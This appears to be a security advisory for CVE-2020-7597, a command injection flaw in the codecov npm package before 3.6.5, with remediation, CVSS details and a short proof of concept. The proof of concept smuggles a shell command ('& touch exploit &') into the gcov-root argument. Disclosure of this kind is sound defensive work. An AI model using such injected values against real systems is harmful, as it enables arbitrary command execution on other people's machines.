Command Injection

Affecting codecov package, versions <3.6.5

Report new vulnerabilities
Do your applications use this vulnerable package? Test your applications

Overview

codecov is a npm package for uploading reports to Codecov.

Affected versions of this package are vulnerable to Command Injection. The value provided as part of the gcov-root argument is executed by the exec function within lib/codecov.js. This vulnerability exists due to an incomplete fix of CVE-2020-7596.

PoC by JHU System Security Lab

var root = require("codecov");
var args = {
  "options": {
    'gcov-root': "& touch exploit &",
    'gcov-exec': ' ',
    'gcov-args': ' '
  }
}
root.handleInput.upload(args, function(){}, function(){});

Remediation

Upgrade codecov to version 3.6.5 or higher.

References

CVSS Score

6.5
medium severity
  • Attack Vector
    Network
  • Attack Complexity
    Low
  • Privileges Required
    Low
  • User Interaction
    None
  • Scope
    Unchanged
  • Confidentiality
    High
  • Integrity
    None
  • Availability
    None
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N/E:P/RL:O/RC:C
Credit
JHU System Security Lab
CVE
CVE-2020-7597
CWE
CWE-78
Snyk ID
SNYK-JS-CODECOV-548879
Disclosed
16 Feb, 2020
Published
16 Feb, 2020